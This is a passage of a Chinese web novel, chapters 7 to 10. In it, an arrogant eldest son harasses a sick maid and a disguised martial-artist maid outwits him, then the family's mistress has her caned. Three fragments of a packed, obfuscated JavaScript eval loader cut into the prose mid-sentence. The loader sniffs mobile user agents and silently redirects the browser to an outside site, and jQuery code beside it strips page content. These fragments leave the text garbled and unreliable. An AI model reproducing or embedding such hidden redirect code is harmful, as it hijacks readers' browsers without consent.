见此情景,薛槐安再也按耐不住翻涌的怒意,他比谁都清楚,自己这副带病之躯与薛阳和相搏几乎毫无胜算,但难道要他眼睁睁地看着冬青落入薛阳和的魔爪吗? 忽然,即将挥出的右拳被一股轻柔却不可抗拒的力道拉住,薛槐安转过头,入府没几日的丫鬟无虞不知何时来到了他身侧。 她微不可见地对着他摇摇头,无声地说了四个字。 “别动,我来。” 7. 挑衅 温闲许倏地展颜一笑,隔着被子握住冬青的手:“恭喜冬青姐姐!” 其余四人皆是一愣。 “姐姐得大少爷青睐,真是上辈子修来的福气,教人好生羡慕!可惜姐姐命苦,偏偏此时得了麻疹,还请大少爷稍待些时日,再来接姐姐去作侍妾吧。” “麻、麻疹?”薛阳和说话时结巴了一下,眼中掠过一抹狐疑,“可她身上……” 麻疹患者的身上会长满红疹,冬青露出被褥的肌肤却洁白无瑕。 温闲许信口胡诌道:“冬青姐姐刚病不久,病灶尚在背部,也不知痊愈之后会不会留下疤痕。不过——” 她故意朝薛阳和眨眨眼:“大少爷对姐姐情深意重,想必不会介怀。” 话已至此,薛阳和岂能承认他只贪图冬青的美色? “自然,无论冬青姑娘变成什么模样……” 可一想到美人羊脂玉似的背上布满密密麻麻的疹子,违心的话却怎么也说不出口。 见薛阳和已经动摇,温闲许决定再添一把火。 借着轻衾的遮掩,温闲许指甲狠狠划过小臂,细嫩的皮肉上马上浮现出几条刺眼的红痕。 “哎呀,我只顾替姐姐欢喜,忘了麻疹最易传染!”温闲许表情慌乱地退了几步,冲着薛阳和“不经意”挽起衣袖。 她刚才没有收着力气,挠过的地方已经红肿起来,乍一看十分骇人。 “好痒……”她不安地摩挲着自己的双臂,面色苍白:“我方才和姐姐靠得近了些,不会也中招了吧?” 薛阳和自幼泡在蜜罐里长大,没见过真正的麻疹病人,一时被温闲许唬住:“传……传染?快、快出去!” 他立刻夺门而出,又不肯让人知道他露了怯,欲盖弥彰道:“休要胡猜!本少爷乃正人君子,不屑于做趁人之危的下流事,冬青姑娘先好好休息吧。” 院里不知何时跑来一只青蛙,躲在墙角“呱呱”叫唤,薛阳和的理智慢慢回笼,渐渐觉出几分不对劲来。 他探头往屋里望去,一惊一乍的冒失丫鬟还保持着刚才的姿势,此时再看,少女莲藕般似的手臂上点缀着绯红的抓痕,犹如红梅映雪。 薛阳和心里的怀疑又烟消云散了,不禁神思荡漾。 他忿忿不平地想:一向对他疼爱有加的母亲,怎么分配下人时,把好丫鬟一个接一个地往薛槐安轩中送? 不过当目光移动到小丫鬟的脸时,薛阳和顿时失了兴致:她长得还没有他的洗脚婢好看呢! 他转头对小厮长顺说道:“走,咱们去他书房里瞧瞧!” 两人径直往书房去了,显然对停云轩的布局非常熟悉。 危机过去,冬青长舒一口气,再也强撑不住,温闲许忙扶着她躺下。 “刚才多谢无虞妹妹,冬青又给少爷添麻烦了。”冬青自责地垂下眼,“我不过前几日中了暑气,与少爷您没有半分关系,您莫信大少爷的话!” 薛槐安打断她:“有什么麻不麻烦的?你安心休养便是,我才不理会薛阳和的胡言乱语!” 冬青担忧的目光落到温闲许身上:“我患的毕竟不是麻疹,若事情败露,大少爷找我们算账怎么办?” 温闲许也知道谎称麻疹不过权宜之计:“眼下先糊弄过去,万一瞒不住了再想办法吧。” 她瞥见旁边的薛槐安,打起了他的主意:“再说了,少爷到时候会替我们求情的,是不是?” 薛槐安一时没有说话,当温闲许觉得自己自讨没趣时,他才从喉间挤出一个“好”来。 温闲许心中默默他翻了个白眼,小少爷肩不能挑、手不能提,连句好听的话都不会说。 室内安静下来,温闲许才发现薛阳和上门挑衅一事有诸多疑点:“院门口不是有老爷的人看着吗,他们怎么进来的?” 又想到突如其来的比武:“而且春杳、岁昭前脚刚走,他们后脚就来,未免也太巧了。” 薛槐安面色也不大好看:“比试一事或有蹊跷,至于老爷子的侍卫……哼,他们已经认了小主子了。” “不好,我的书还放在桌上!”他忽然想到什么,快步往书房赶去。 温闲许刚要跟上去,冬青忽然扯住她的衣袖:“无虞妹妹,我先前对你说话重了些,不好意思……” 温闲许愣了一会儿,才想起冬青指的多半是之前告诫她不许对少爷有二心的事情。 她宽慰道:“姐姐也是为少爷好,我没有往心里去呢。” “如此甚好。”冬青叹气,“大少爷最爱与少爷最对,这趟来还不知道憋了多少坏点子,你去陪少爷吧,让他少受些欺负。” 温闲许说:“姐姐莫要记挂,好生歇息,我瞧瞧去。” 门外忽然有“咕噜咕噜”的水声传来,温闲许才惊觉,给薛槐安的水还在灶台上烧着呢!她匆匆回到柴房里。 * 当薛槐安冲到书房时,他最担心的事果然发生了。 薛阳和大大咧咧地坐在椅上,手上拎着的赫然是他最近在读的《吞玉剑谱》。 他动作夸张地晃晃书本,对长顺说:“小野种胆大包天,竟敢偷咱们家的剑谱! “瞧瞧,我说什么来着?有个偷人的娘,儿子自然也是小偷。” 薛阳和回过头,却见薛槐安已经来到他面前,眼神阴鸷地盯着他:“我没有偷书,我娘也没有偷人!” 不知怎的,薛阳和忽觉眼前之人横生出一股压迫感来,令他莫名有些害怕。 他喉结滚动,提高音量道:“还想狡辩!父亲不许你学武,难道会给你剑谱?除了偷,你还有什么法子?” 他和萝卜一样粗的手指翻过书页,指着其中一副图道:“何况你的身子也想习武?光说这招鹿鸣于野,你恐怕站都站不稳!” “是……”薛槐安犹豫了一下,语气冷硬地说,“反正不是偷来的,还给我!” 长顺煽风点火道:“证据就在眼前,二少爷还嘴硬!不如咱们将这罪证交给老爷,让老爷教训他!” “没错。不过书上竟然有如此多批注,万一父亲觉得他勤奋好学怎么办?” “有了!”薛阳和忽然拿过一旁的毛笔,蘸上墨汁,就要往书上落,“我要告诉父亲,薛槐安这厮不仅偷拿了剑谱,还在上面乱涂乱画……” “住手!”薛槐安大叫一声,急忙去托薛阳和执笔的手。 奈何薛阳和的动作太迅速,此时笔尖已经堪堪挨到了书页。 “找死!”没想到薛槐安敢阻挠自己,薛阳和目光一沉,将全身力气汇聚在手腕上。 他毕竟练过几天武,又比薛槐安多长许多肉,笔被他一点点压下,转眼间便在书页上画出一道墨迹。 余光瞥见逐渐靠近的长顺,薛槐安心中焦急万分:不行,若是剑谱被毁,他当真一点学武的机会都没有了! 回忆着书中的穴位,他抄起桌上的砚台,对薛阳和的合谷穴狠狠一砸! 虎口传来一阵剧痛,薛阳和登时松了手,毛笔滚落到地面上。 薛槐安趁机夺回剑谱,他心疼地望着书上的墨渍——图画中小人的动作已经看不清了。 “你……你竟敢打我!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800062|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >薛阳和先前只是想来找点乐子,顺道显摆一下他即将入职锦衣卫,此时却动了真怒。 他堂堂薛家嫡长子,薛槐安一个来历不明的野种竟敢打他? 而且他好歹练过武,居然让薛槐安这病秧子一击得手,还把书抢走了! 幸亏没有被人瞧见,不然他面子往哪搁? 他气势汹汹地朝薛槐安吼道:“把书给我!” “不给!”薛槐安不仅拒绝了,还嘲讽道,“听闻兄长五岁开始习武,怎么连我一个身体亏空的人都防不住?果然一个管不住丈夫的女人,生出的儿子也是窝囊废!” 他还记恨薛阳和刚才侮辱他娘的事情。 长顺不敢置信地望着薛槐安,说话磕巴:“少、少爷!他……他不仅骂你,还……还骂了夫人!” 薛阳和一掌拍在他背上:“我耳朵又没聋,用得着你来说!” 他“唰”地一下拔出腰间佩剑,不知是气急还是刚才被薛槐安砸的,指向薛槐安的剑尖微微颤抖。 “你这贱人,既然不让我画你的破书,老子就划烂你这张讨厌的脸!” 白刃朝薛槐安面门刺去,千钧一发之际,薛阳和却如同被蛇咬了一般匆匆收回手腕,剑也“哐当”掉落在地。 “他娘的,有东西打我!”薛阳和揉着受伤处四下环顾,试图找出刚刚袭击他的物件。 在确定薛阳和暂时不会扑上来抢书后,薛槐安也警惕地搜寻起其他人的踪迹,却见除了刚来的小丫鬟拎着茶壶站在门口之外,再无其他异常。 小丫鬟冲他招招手:“少爷,我给您送热茶来了!我可以进来吗?” 薛槐安才想起来他之前下的禁令,不自在地移开视线:“……可以。” 温闲许轻轻捻着拇指和中指,心想:他们果然没有发现。 江湖上会无相刀法的人寥寥无几,因她尚未练至大成,师父叮嘱她不得轻易使用,也一直没有给她铸刀。 为方便她日后行走江湖,师父还传授给她一手精妙的暗器功夫,飞花摘叶皆可伤人,出手无痕很是实用。 薛阳和寻找半天一无所获,他平白挨了一下,满腔怒火无处发泄,揪过长顺的衣领问:“废物!你看不见刚才飞过来的是什么吗?” 长顺“扑通”跪下,抱着他的大腿连连求饶:“少爷饶命!小人狗眼昏花,实在没瞧见啊……” “我呸,故意看老子出糗是不是!” “奴才冤枉……” 趁薛阳和主仆二人狗咬狗的间隙,温闲许凑到薛槐安旁边,小声问道:“少爷,他怎么突然要划你的脸?难道是长得太丑自惭形秽了?” 薛阳和深受老爷夫人溺爱,在府中向来呼风唤雨,兼之他睚眦必报的性格,纵使有下人心怀怨恨,也不敢明面上表露出来。 薛槐安头回听到有人说薛阳和的坏话,愣了一下才说:“他要抢我的书……” 温闲许这才注意到薛槐安抱着一本书。 她记得这本叫《吞玉剑谱》的书,书页里记满了文字,足见阅读者之用功。 书中招式也对她颇有启发,若是拱手让给薛阳和,她不就再也学不到了? 况且她之前那样得罪了薛槐安,薛槐安却只对她放了几句狠话,没有真正为难她…… 于情于理,她都该帮薛槐安守住这本书,可是—— 可是薛槐安是薛懿的儿子啊!师父此刻仍在薛懿手中受尽折辱,她又岂能帮助仇人之子? 救冬青是怜她柔弱,击落薛阳和的剑是武者本能,可要给仇人之子薛槐安出头……这算哪门子事? 8. 回击 薛阳和教训了一顿长顺,心里畅快些许,又对薛槐安道:“哼,你有剑谱又如何,凭你的身板也想翻出什么风浪来?我下个月可就要去作锦衣卫百户,为父亲分忧了。” 他忽然想到另一件事情:“听说林家小子回京当日,你到城门去了?他小小年纪随父从军,如今也混出了点名堂。 “莫非你专程去等他,准备与他回忆一番少时往事,要他领赏时顺道也给你谋份差事?” 薛槐安去城门……温闲许心想,他说的,不正是她混入商队蒙混过关时候的事吗? 回想起当时的场面,她仍有些心有余悸。她暗自嘀咕,你弟弟可没有见着什么人,只是胡搅蛮缠地搜查了一支无辜的商队而已。 “没有。”薛槐安否认道,“不过闲来无事,四下逛逛。” 薛阳和不耐烦地摆手,显然不相信他的话:“谁知道你心里怎么想的?我劝你趁早打消掉不该有的念头,林家小子之前与你交好时年纪尚小,不知道嫡庶有别。 “——你一个有娘生没娘养的野种,拿什么与我们相提并论?” “野种”一词令温闲许皱起眉头,薛槐安的娘虽然去得早,毕竟是薛懿的妾室,把薛槐安叫作“野种”也太过分! 难道……他娘其实不曾过门? 思及至此,停云轩中的冷清氛围、数日不曾前来探视的父亲薛懿、对薛槐安避之不及的下人们……一切好像都有了合理的解释。 温闲许微微偏过头,果然见薛槐安面色铁青。 先前的纠结霎时间抛之脑后,薛阳和不就仗着自己多个娘撑腰,也配在薛槐安面前耀武扬威? 真是猪鼻子插大葱——装象! 事先说好,她可没有存给薛槐安打抱不平的心思,是她现在心情烦闷,薛阳和非要送上门找打! 兜兜转转,话题又绕回到薛槐安怀中的书上,薛阳和说:“你若识趣,现在便乖乖地把剑谱交出来,我一高兴,说不定将来还会提携你,否则……别怪我不客气。” 薛槐安把书抱得更紧了:“我不。” 好话歹话说尽,再次遭到拒绝的薛阳和恼羞成怒。他一脚踢在长顺屁股上:“还不快去捡我的剑!” 长顺屁颠屁颠地拾起地上的剑,放到他主子掌心。 “你好生瞧着,为兄让见识见识什么叫鹿鸣于野!”薛阳和手臂一展,使出刚才随手翻到的剑招。 剑锋袭来,在薛槐安身前一寸骤然停住。 几人往下一看,却见薛阳和迈向前的腿把精致的氅衣撑得满当当的——他卡住了。 刚才薛阳和作势要扑来,薛槐安下意识退了一步,原本在他身后的温闲许顿时完全暴露在薛阳和眼前。 好机会!温闲许装出因惊吓而失去平衡的样子,手抖腕斜,滚烫的开水便从壶中尽数浇到薛阳和身上。 “啊——”薛阳和霎时撕心裂肺地嚎叫起来。 他今日穿着一袭上品轻容纱衣,质地如蝉翼一般轻薄,行于烈日之下亦觉凉爽,此刻却让他更加难以忍受高温的酷刑。 薛阳和急忙将衣裳掀开,只见小腹至大腿的肌肤已是一片绯红,不少地方已经鼓起透明水泡,稍一牵动便传来钻心的疼痛。 “烫死我了!”他说话间泄出嘶嘶气音,目眦欲裂地瞪着温闲许,“小贱蹄子,竟敢拿滚水泼我?看老子今日不扒了你的皮!” 温闲许可怜巴巴道:“方才日头晃眼,奴婢恍惚间瞧见一个黑黢黢的东西扑上来,还以为有一头狗熊闯入了少爷书房里,这才失手洒了水壶……请大少爷恕罪!” 她哪里是道歉?分明是说薛阳和长得像狗熊! “少爷!她、她……”长顺尖声叫道,“她不光泼了您一身热水,还骂您是狗熊!” 薛阳和被温闲许话里话外奚落一通,偏生烫伤处火辣辣地疼,眼下实在奈何不了她,只得一记暴栗打在长顺脑门上:“闭嘴!你当我听不出好赖话吗?还不赶紧扶我回去!” 说完,他肉山似的身子朝着长顺倒下来,长顺咬牙撑着,主仆二人一瘸一拐地往书房门外走去。 经过薛槐安、温闲许身旁时,薛槐安不着痕迹地挪动半步,恰好挡住薛阳和投向温闲许的视线。 薛阳和眼中凶光毕露:“少得意,今天的账咱们慢慢算。” “从前你吟诗作画样样压我一头,往后你等着……”他搜肠刮肚半天,想不出一句像样的威胁,只好道,“我压死你。” 薛阳和骂骂咧咧地离开,书房里只剩下温闲许与薛槐安两个人。薛槐安转身直视着温闲许的眼睛:“你偷偷打他便好,不该明目张胆地泼他。” 什么偷偷打他?难道他看穿了薛阳和第一次剑脱手的关窍? 温闲许弱柳扶风地倚着墙壁,继续装无辜道:“少爷,您在说什么呀?奴婢方才真真吓破了胆!大少爷如冲下山的野猪似的,谁见了不害怕?” 她一会把薛阳和比作狗熊,一会又把薛阳和比作野猪,试图讨薛槐安欢心:“呜呜,万一大少爷找我秋后算账怎么办?到时候少爷可要替奴婢求情……” 薛槐安没有理会她,转而蹲在地上寻找起来,最后拈起一枚石子。 “你瞧这颗石头,除了撞击的一面碎裂之外,其余几面均完好无损。小小石子竟能爆发如此力量,投掷的人手稳乃基本功。” 他蓦地抬头盯着温闲许:“能使出这一击的人,断不会拿不稳区区水壶。” 温闲许简直难以置信,此话居然出自不通武艺的薛槐安之口。 况且她的武功虽非顶尖,戏耍薛阳和这等花架子已经绰绰有余,没想到竟被薛槐安瞧出了破绽! 她心中暗潮涌动,面上却装傻充愣:“奴婢不过一介手无缚鸡之力的弱女子,这壶里又盛满了水,奴婢端得手都酸了……少爷还是不肯宽恕奴婢这一回吗? 话说回来,少爷房里怎么会有石头?肯定是春杳打扫时又偷懒了,回头我得说说他去……” 温闲许还担心薛槐安接着逼问,不料他思考了一会,话锋一转:“你之前说的话还作数吗?我和你学武功。” “啊?” “我说,我和你学——” 突然,一道好奇的声音插进来:“少爷要学什么?” 两人循声望去,只见两道修长的身影伫立在门边,可不正是春杳、岁昭二人? 岁昭语气焦急:“少爷,我们回来时撞见了大少爷的软轿,他刚才来为难你了?” 春杳在一旁骂道:“不知道哪个混账传的老爷要举行府内比试,地点还选在离咱们最远的演武台!枉我和岁昭来回奔走,连个鬼影都没见着!” “除了薛阳和还有谁?”薛槐安说,“他存心刁难我,自然要把你们支开。说来,我刚刚瞧见了他几下花拳绣脚,与锦衣卫要求的身手相差甚远,他是如何……” “你瞧见?”岁昭猛地抬头,“大少爷打你了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800063|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我倒是无碍,有些人恐怕要大祸临头了……”薛槐安意有所指地看了温闲许一眼。 春杳不以为意:“少爷看无虞姑娘干什么?她一个小丫头片子,还能伤着薛大少爷不成?” 温闲许讪笑道:“没错,我只不过手抖,将滚茶洒了大少爷一身……” 春杳的笑意凝住了,望向温闲许的眼神充满怜悯——这无虞姑娘,不会要成为停云轩有史以来最短命的丫鬟吧? * 时间一晃便到傍晚,太阳悬在天边迟迟不肯落下,闷热得令人喘不过气来。 碍于春杳、岁昭两人在场,薛槐安没有再提起学武之事。他一如既往地在书房里读书,面向院子的轩窗少见地敞着,有时温闲许一抬头便能对上他的目光。 春杳围着温闲许团团转,如同热锅上的蚂蚁:“无虞姑娘,现在还擦桌子作甚,快想个对策吧!” 温闲许幼时调皮,没少被师父教训:“有什么好怕的?横竖不过挨顿板子。不过烫红他一层皮罢了,又没剜他块肉下来,还能把我打死不成?” “你是不知道夫人的厉害,大少爷是夫人的心头肉,她非得把你生吞活剥了不可!” 见温闲许仍旧老神在在,春杳急得推了岁昭一把:“木头,倒帮忙出个主意啊!” 岁昭刚欲开口,院门外忽然传来脚步声——今日停云轩的第二拨不速之客,已经到了。 先踏入门槛的是一个雍容华贵的中年女人,她发间金钗流光溢彩,耳畔明珠随步轻摇,腕上翡翠碧色莹然。行走时环佩叮当作响,衬得她养尊处优的面容愈发光彩照人。 她傲慢地打量着院内的光景,眉梢眼角透出几分不耐,好像面前尽是入不了她眼的腌臜之物。 薛阳和由长顺搀着,趔趄地跟着她,腰间纱布若隐若现,仿佛有一根无形的绳索从妇人手中连到他的脖子上。 紧接着他三人,孙嬷嬷领着十来个丫鬟小厮鱼贯而入,前院霎时挤得水泄不通。 早在外头传来响动之际,温闲许便被春杳慌忙地推入了耳房中,此刻只听得春杳岁昭二人在屋外齐声道:“见过夫人、大少爷。” 下午的时候春杳告诉过温闲许,王夫人乃镇国公的亲妹妹,名叫王生欢,自幼便被家里人视作掌上明珠。 她对薛懿一见钟情,两人结婚时,薛懿还只是一名小小的锦衣卫缇骑,如今平步青云少不得老丈人的提携,自然把王生欢捧在手心里宠着,至今连妾也不曾纳过。 王生欢一辈子顺风顺水,性格自是跋扈无比。 因此,当幼子夭折、薛懿却将年满十岁的私生子薛槐安领回府时,王生欢平生头一回尝到怨恨的滋味。 王生欢眼尾余光掠过请安的两人,抽出鲛帕掩住口鼻,仿佛他们身上带着秽气:“你们的主子呢?还不赶快叫他出来!” 她话音刚落,薛槐安已经来到院中:“母亲要来,怎么不叫下人提前知会儿子一声?免得怠慢了您。” “少来这套!我只问你,我的阳儿下午到你轩中来了一趟,怎么回去就变成了这副模样?” 她撩起薛阳和的衣裳下摆,只见他肚脐以下的部位裹着纱布,上面时不时洇出淡黄的药渍,显然伤得不轻。 大庭广众之下,薛阳和也有些不好意思。他慌忙去按衣角,奈何他老娘不仅不肯松手,还拿指甲掐了他一下,只得作罢。 王生欢目光一凛:“还不快将伤了我儿的小贱人交出来!” 9. 问罪 薛槐安见王生欢带了乌泱泱一群人来,便知她今日绝不会善罢甘休。 非常棘手。 他与这位名义上的嫡母鲜少往来——对方不待见他,他也不会自讨没趣地凑上去。唯有薛懿大宴宾客、他作为薛家二少爷出席时,才会和她打个照面。 王生欢到他轩中来给薛阳和讨公道,还是头一回。 她毕竟是当家主母,薛阳和也实实在在地被泼了一身滚水,若冒然拒绝,指不定会落个忤逆不孝的恶名。 ——虽然他也不在乎这些虚名便是了。 “母亲息怒,此事恐有误会。”想到王生欢平时最注重体面,薛槐安斟酌着开口。 “兄长武艺高强,得知孩儿对习武有兴趣,下午特意来给孩儿演示剑法。许是过于沉醉其中,一时不察,才会不慎碰到了奉茶的下人。” 他将薛阳和描述为关心弟弟的好哥哥,烫伤之事一语带过,好像只是微不足道的小插曲。 他接着道:“兄长心胸宽广、前途无量,想必不会与一个下人斤斤计较吧?” 经他一夸,薛阳和神色顿时有些飘飘然,王生欢恨铁不成钢,又往他胳膊上狠狠一掐。 她如同市井泼妇一样叉着腰:“你当老娘是傻的吗?废话少说,你若不肯交人,此事便是你指使的!” 薛阳和也清醒了过来,嚷嚷道:“胡说,那贱人分明是存心要烫死我!” 见糊弄不过去,薛槐安叹气道:“动怒伤身,兄长可得仔细莫让伤口崩开,若耽误了下个月的赴任之期,岂不因小失大? “母亲更当珍重玉体,孩儿听闻父亲未宿在府中一月有余,明面上说是为审问要犯,可谁知道他有没有去寻花问柳?母亲如果再气出皱纹来,怕是更留不住枕边人了。” 王生欢最忌讳旁人说她人老珠黄,平日花了不少心思在容貌保养上:“混账小子,你——” 她懒得与薛槐安争口舌之快,厉声喝道:“来人,把烫伤我儿的贱蹄子拖出来!” 耳房内,薛槐安与王生欢母子周旋之际,歇息半日、气色稍好的冬青紧紧盯着院中情形:“该如何是好?夫人肯定不会轻易饶过你…… “夫人身子骨弱,接连小产,二十年来只诞下了两位少爷。偏生三少爷从娘胎里带了病,不满两岁便去世了……如今大少爷就是她的命根子。” 她在旁边忧心如焚,温闲许的目光却被小厮中的一人攫住。 此人比周遭的仆役高出一头有余,鹤立鸡群、十分显眼。他戴着一张挡住下半张脸的金属面具,只露出两只闪着凶光的眼睛,煞是骇人。 她好奇地问冬青:“他是谁?” 冬青顺着她的视线望去:“你说万连碧?据说他之前也当过锦衣卫,后来不知怎的傻了,老爷见他可怜,便让在府中做杂役。” 她打了个寒颤:“他打起小姑娘来如发狂似的,你千万要当心……” 冬青话音未落,耳房的门“砰”地一下被人踹开,几个陌生仆役二话不说将温闲许的双臂反剪到身后,榻上的冬青也被他们粗鲁地拽了下来。 仆役将她们推搡到外面,强迫两人跪下,温闲许侧头望去,见春杳、岁昭也被人反拧住手臂跪着,只有薛槐安还站着——他到底是少爷,没有人敢动他。 薛阳和一眼便认出了早些时候害他的丫鬟,指着温闲许道:“娘,就是她伤的孩儿!” 瞥见一旁的冬青时,他表情骤变:“谁让你们把冬青姑娘也带出来的?她得了麻疹,还不快送回房去!” 下人们面面相觑,又把冬青搀回去,其中一个年轻小厮嘀咕道:“什么麻疹?少爷怜惜她直说便是,何必编这等幌子……” 他的话落入薛阳和耳中,薛阳和马上反驳道:“你个奴才知道什么!冬青姑娘的疹子都长在背上,外头自然瞧不出来!” 闻言,温闲许顿觉不妙,这不正是她之前信口胡诌、搪塞薛阳和的说辞吗? 如此拙劣的谎言,哄骗不知人间疾苦的少爷尚可,哪里瞒得过旁人? 两人的争执引起了王生欢的注意。她虽养尊处优,却也明白哪有只发在背部的麻疹?她当即吩咐孙嬷嬷:“你瞧瞧去。” “夫人开恩!求您……”冬青仓皇地往后缩,身子抖如筛糠。 王生欢怎会放过她?孙嬷嬷的手如鹰爪般扣住冬青的后颈,另一手拎着后襟往上掀。素白的里衣登时被扯得大开,少女的脊背在众人面前袒露无遗。 却见冬青背上肌肤光洁如玉,莫说疹子,连颗红痣都寻不见。倒引得几个小厮抻长脖子,恨不得把眼珠子贴上去瞧。 薛阳和怒不可遏:“贱人!竟敢诓我!” 王生欢冷笑道:“好啊,也是个欺瞒主子的东西,把她们两个带过来!” 几名仆役拽着温闲许与冬青,往王生欢跟前拖去。 冬青本就有病在身,哪里经得住他们这样折腾?她顿时撕心裂肺地咳嗽起来,面色愈发惨白。 温闲许于心不忍,连忙道:“麻疹之事乃奴婢一人编造,与冬青姐姐无关。” 王生欢抚掌道:“好,你倒是个姐妹情深的,只是不知道你的小身板扛不扛得住数罪并罚?” 她一摆手,仆役们果然放开了冬青。温闲许刚松了一口气,膝窝便挨了两记狠踹,登时跪倒在王生欢跟前。 王生欢一巴掌狠狠扇来:“贱坯,我阳儿的身体如此金贵!你怎敢……” 温闲许本能地偏头躲过,王生欢一击落空,恼怒更甚:“还敢躲?把她给我按住了!” 温闲许挺直腰杆,不卑不亢道:“大少爷下午擅闯冬青姐姐房间,欲行不轨,奴婢为保全姐姐清誉,才谎称姐姐得了麻疹。 “之后大少爷抢夺少爷的书册不成,撞上了来送茶的奴婢,才会被茶水洒了一身。” 薛阳和挑衅在先,她不过“被逼无奈”撒谎,“失手”打翻茶壶,何错之有? 王生欢再次扬起的巴掌打断了她的话,仆役揪着温闲许的头发,逼她仰起脸来、避无可避。 “啪——” 脸颊火辣辣地生疼,温闲许被扇得偏过头去,血腥味在唇齿间弥漫。 王生欢不紧不慢地掏出鲛帕,擦拭起自己的纤纤玉手来,不屑道:“我的阳儿要什么没有,还会稀罕你主子的丫鬟和破书? “况且无论人是人是物,能入阳儿的眼,便是他的福气。不知感恩戴德也罢了,你还当我这里是衙门,想击鼓鸣冤不成?” 她转向孙嬷嬷:“这贱蹄子叫什么名字?几时来的?” 孙嬷嬷忙不迭回道:“她是前几日入府的粗使丫鬟,叫做无虞。因少爷半路将她带走,还未去账房画押,老奴稍后便带她补上。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800064|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王生欢睨了孙嬷嬷一眼:“蠢货,没有画押岂不更好?给我狠狠地打,一个孤魂野鬼,和我们薛家有什么关系?” ——她的意思,竟是要活活打死温闲许! 温闲许耳中嗡嗡作响。王生欢的一记耳光,教她真正知晓何为主仆之别、嫡庶之分。 因冬青是仆,薛阳和要污他清白,她便该千恩万谢地承欢。 因薛槐安是庶,薛阳和要毁他的心爱之物,他便得恭恭敬敬双手奉上。 因她温闲许卑贱,纵只烫伤了薛阳和一点皮肉,王生欢便能名正言顺地夺走她的性命。 温闲许此刻才意识到她已经离开神山很远,身在京城中了。 春杳终于按捺不住,刚要挣扎,一只手却按住了他肩头。 他转头一看,是少爷的手。 薛槐安眉头紧锁,他深知此时的反抗无异于火上浇油,只会让无虞徒增鞭笞之苦。 他目光又望向院门,眼看要闹出人命了,薛懿的手下仍没有半分动静!一如他们先前冷眼放春杳、岁昭二人离开,现在又默许让王生欢、薛阳和母子横行。 连个丫鬟都护不住,他也配称作少爷吗? 温闲许之前注意到的万连碧站了出来,只见王生欢对着他说了什么,他顿时如同恶鬼一样盯着温闲许,温闲许的身子不自觉瑟缩了一下。 “现在知道怕了?你刚才的神气劲呢?”薛阳和洋洋得意道,又对薛槐安说,“若你现在将冬青送给我,我倒可向母亲讨个情面,给她留一口气。” “你老想着冬青作甚?”王生欢啐了他一口,“以你的条件,要什么没有,偏想着个狐媚子。” 王生欢似乎很是讨厌薛阳和对一个小丫鬟念念不忘。 薛槐安心念一动,既然在王生欢看来喜欢丫鬟是自甘堕落,他何不佯装痴迷无虞?说不定可以保住她的性命。 为了印证心中所想,薛槐安说道:“孩儿难得瞧上个可心人儿,母亲难得非要我们阴阳相隔吗? “况且佩兰刚消失没几天,今日我轩中又死了一个丫鬟,不晓得其他人会如何议论我们薛家呢!” 王生欢果然犹豫了。 ——主要是薛槐安的前半句话。 她打量温闲许几眼,见这丫鬟相貌普通,不由得对薛槐安的话生出疑窦来。 孙嬷嬷知她心中所想,凑到她耳边:“夫人,老奴之前亲眼见到二少爷摸她的脸蛋,好像真的很喜欢她。” “行啊。”王生欢纠结一番,同意了,“既然主子喜欢,留她一条命又何妨?不过还得让她长长教训,杖十下吧。” 杖责十下,已是从轻发落。 不过万连碧的十下……薛槐安心中悬着的石头仍未落下。 两个强壮的家丁将温闲许死死按住,万连碧抡起棍子,他虽然痴傻,却力大无比。 棍棒落下,皮肉绽开之声不绝于耳。 “一、二、三……” 犹是温闲许有内力护体,第三棍落下之后,也开始头晕眼花。 冬青忽然爆发出惊人的力量,猛地挣脱束缚:“夫人,求求您不要再打了,她要受不住了!” 见王生欢不搭理她,她心一横,膝行到薛阳和面前,额头“咚咚”叩在青石板上:“大少爷,奴婢愿意服侍您,请您发发善心,求夫人叫万连碧停手吧。” 10. 证言 少女绝望的哭嚎,背上炸开的闷响,围观者倒吸一口冷气的“嘶”声…… 数种声音争先恐后地挤入温闲许耳中。 她的视野逐渐变窄,面前的景象如同蒙着一层纱,任凭她如何凝神,也看不真切。 她想叫冬青站起来,不要遂薛阳和的意,棍棒却像直直捅入了她肺里,让她连呼吸都分外费劲。 时间一分一秒过去,她的灵魂仿佛挣脱了躯壳的束缚,浮到上空,冷眼望着自己如烂泥一样的身体。 地面歪斜扭曲,变成了一间灯火幽暗的牢房,一个瘦得脱相的男人被缚住双手,悬吊在半空中,躲在黑暗里的人挥舞着马鞭,不停抽打着他。 棍声与鞭声交织在一起,现实幻境不断重叠,吊着的人蓦地抬起头来,露出一张伤痕累累的脸——“师父!” 还没等她惊呼出声,眼前场景骤然变幻:叶葵的眉眼出现在师父的面孔上,无赖三叔紧紧拽着她的胳膊,硬生生将她拖出母亲怀中! 